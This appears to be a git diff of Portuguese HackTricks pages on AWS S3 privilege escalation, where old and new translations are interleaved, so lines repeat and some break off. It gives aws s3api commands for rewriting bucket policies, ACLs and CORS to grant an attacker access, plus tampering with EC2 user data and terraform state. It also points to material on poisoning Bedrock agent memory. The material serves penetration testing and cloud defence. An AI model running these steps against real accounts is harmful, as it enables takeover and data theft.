|
||||
|
||||
.png>)
|
||||
|
||||
O módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) pode ser usado para automatizar esse ataque.\
|
||||
Para mais informações ver a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
O módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) pode ser usado para automatizar este ataque.\
|
||||
Para mais informações, confira a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Estas são as permissões para **baixar e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **arquivos de configuração**.\
|
||||
Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** nesses arquivos.\
|
||||
Um atacante com **acesso de escrita** pode **modificar os dados para abusar algum serviço e tentar escalar privilégios**.\
|
||||
Estas são as permissões para **obter e enviar objetos para S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **config files**.\
|
||||
Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis**.\
|
||||
Um atacante com **acesso de gravação** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
|
||||
Estes são alguns exemplos:
|
||||
|
||||
- Se uma instância EC2 estiver armazenando o **user data em um bucket S3**, um atacante poderia modificá-lo para **executar código arbitrário dentro da instância EC2**.
|
||||
- Se uma instância EC2 estiver armazenando o **user data em um S3 bucket**, um atacante poderia modificá-lo para **executar código arbitrário dentro da instância EC2**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
É muito comum que os arquivos de estado do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no blob storage dos provedores de cloud, p.ex. AWS S3. O sufixo do arquivo de estado é `.tfstate`, e os nomes dos buckets frequentemente também indicam que contêm arquivos de estado do terraform. Normalmente, toda conta AWS tem um bucket desses para armazenar os arquivos de estado que mostram o estado da conta.
|
||||
Além disso, no mundo real quase sempre todos os desenvolvedores têm `s3:*` e às vezes até usuários de negócio têm `s3:Put*`.
|
||||
É muito comum que os terraform state files sejam salvos no blob storage dos provedores de cloud, e.g. AWS S3. O sufixo do arquivo de state é `.tfstate`, e os nomes dos buckets frequentemente também indicam que eles contêm terraform state files. Normalmente, cada conta AWS tem um bucket desse tipo para armazenar os state files que mostram o estado da conta. Também, no mundo real, quase sempre todos os desenvolvedores têm `s3:*` e às vezes até usuários de negócios têm `s3:Put*`.
|
||||
|
||||
Portanto, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` - na maioria das vezes `AdministratorAccess`, tornando você administrador da conta cloud. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo o `terraform` deletar recursos legítimos.
|
||||
Portanto, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` - na maioria das vezes `AdministratorAccess`, tornando você o admin da conta cloud. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo o `terraform` deletar recursos legítimos.
|
||||
|
||||
Siga a descrição na seção *Abusing Terraform State Files* da página *Terraform Security* para código de exploit diretamente utilizável:
|
||||
|
||||
@@ -65,7 +64,7 @@ Siga a descrição na seção *Abusing Terraform State Files* da página *Terraf
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Um atacante, que precisa ser **da mesma conta**, caso contrário o erro `The specified method is not allowed will trigger`, com essa permissão poderá se conceder mais permissões sobre o(s) bucket(s) permitindo que ele leia, escreva, modifique, delete e exponha buckets.
|
||||
Um atacante, que precisa ser **da mesma conta**, caso contrário o erro `The specified method is not allowed` será disparado, com esta permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s), permitindo ler, gravar, modificar, deletar e expor buckets.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Um attacker poderia abusar dessas permissões para **conceder a si mais acesso** sobre buckets específicos.\
|
||||
Observe que o attacker não precisa ser da mesma conta. Além disso, o write access
|
||||
Um attacker poderia abusar dessas permissões para **conceder a si mesmo mais acesso** sobre buckets específicos.\
|
||||
Note que o attacker não precisa ser da mesma account. Além disso o write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -178,16 +177,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
Um atacante com esses privilégios deve ser capaz de aplicar um Acl a uma versão específica do objeto
|
||||
Espera-se que um atacante com esses privilégios consiga atribuir um Acl a uma versão específica do objeto.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
Um atacante com a permissão s3:PutBucketCORS pode modificar a configuração CORS (Cross-Origin Resource Sharing) de um bucket, que controla quais domínios web podem acessar seus endpoints. Se definir uma política permissiva, qualquer site poderia fazer requisições diretas ao bucket e ler as respostas a partir de um navegador.
|
||||
Um atacante com a permissão s3:PutBucketCORS pode modificar a configuração CORS (Cross-Origin Resource Sharing) de um bucket, que controla quais domínios web podem acessar seus endpoints. Se ele definir uma política permissiva, qualquer site poderia fazer requisições diretas ao bucket e ler as respostas a partir de um navegador.
|
||||
|
||||
Isso significa que, potencialmente, se um usuário autenticado de um web app hospedado no bucket visitar o site do atacante, o atacante poderia explorar a política CORS permissiva e, dependendo da aplicação, acessar os dados de perfil do usuário ou até assumir a conta do usuário.
|
||||
Isso significa que, potencialmente, se um usuário autenticado de um aplicativo web hospedado no bucket visitar o site do atacante, o atacante poderia explorar a política CORS permissiva e, dependendo da aplicação, acessar os dados de perfil do usuário ou até sequestrar a conta do usuário.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
|
||||
@@ -4,34 +4,29 @@
|
||||
|
||||
## Tipos de serviços
|
||||
|
||||
### Serviços de containers
|
||||
### Serviços de contêiner
|
||||
|
||||
Services that fall under container services have the following characteristics:
|
||||
Serviços que se enquadram como serviços de contêiner têm as seguintes características:
|
||||
|
||||
- The service itself runs on **separate infrastructure instances**, such as EC2.
|
||||
- **AWS** is responsible for **managing the operating system and the platform**.
|
||||
- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
|
||||
- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
|
||||
- Also, platform-level identity and access management where it exists.
|
||||
- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
|
||||
- O próprio serviço é executado em **instâncias de infraestrutura separadas**, como EC2.
|
||||
- **AWS** é responsável por **gerenciar o sistema operacional e a plataforma**.
|
||||
- Um serviço gerenciado é fornecido pela AWS, que tipicamente é o próprio serviço para as **aplicações reais que são vistas como contêineres**.
|
||||
- Como usuário desses serviços de contêiner, você tem várias responsabilidades de gerenciamento e segurança, incluindo **gerenciar a segurança de acesso de rede, como regras de network access control list e quaisquer firewalls**.
|
||||
- Além disso, gerenciamento de identidade e acesso em nível de plataforma onde existir.
|
||||
- **Exemplos** de serviços de contêiner da AWS incluem Relational Database Service, Elastic Mapreduce e Elastic Beanstalk.
|
||||
|
||||
### Serviços abstratos
|
||||
|
||||
- Estes serviços são **removidos, abstraídos, da camada de plataforma ou de gestão sobre a qual as aplicações na cloud são construídas**.
|
||||
- Os serviços são acessados via endpoints usando interfaces de programação de aplicações (APIs) da **AWS**.
|
||||
- A **infraestrutura subjacente, o sistema operativo, e a plataforma são geridos pela AWS**.
|
||||
- Os serviços abstratos fornecem uma plataforma multi-tenant na qual a infraestrutura subjacente é partilhada.
|
||||
- **Os dados são isolados via mecanismos de segurança**.
|
||||
- Serviços abstratos têm forte integração com IAM, e **exemplos** de serviços abstratos incluem S3, DynamoDB, Amazon Glacier, e SQS.
|
||||
- Esses serviços são **removidos, abstraídos, da camada de plataforma ou gerenciamento sobre a qual as aplicações em nuvem são construídas**.
|
||||
- Os serviços são acessados via endpoints usando interfaces de programação de aplicações da AWS, APIs.
|
||||
- A **infraestrutura subjacente, o sistema operacional e a plataforma são gerenciados pela AWS**.
|
||||
- Os serviços abstratos fornecem uma plataforma multi-tenant na qual a infraestrutura subjacente é compartilhada.
|
||||
- **Os dados são isolados por mecanismos de segurança**.
|
||||
- Os serviços abstratos possuem forte integração com IAM, e **exemplos** de serviços abstratos incluem S3, DynamoDB, Amazon Glacier e SQS.
|
||||
|
||||
## Enumeração de serviços
|
||||
## Enumeração de Serviços
|
||||
|
||||
**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
|
||||
**As páginas desta seção estão ordenadas por serviço da AWS. Nelas você encontrará informações sobre o serviço (como ele funciona e suas capacidades) que permitirão a escalada de privilégios.**
|
||||
|
||||
### Relacionado: Segurança do Amazon Bedrock
|
||||
|
||||
{{#ref}}
|
||||
aws-bedrock-agents-memory-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user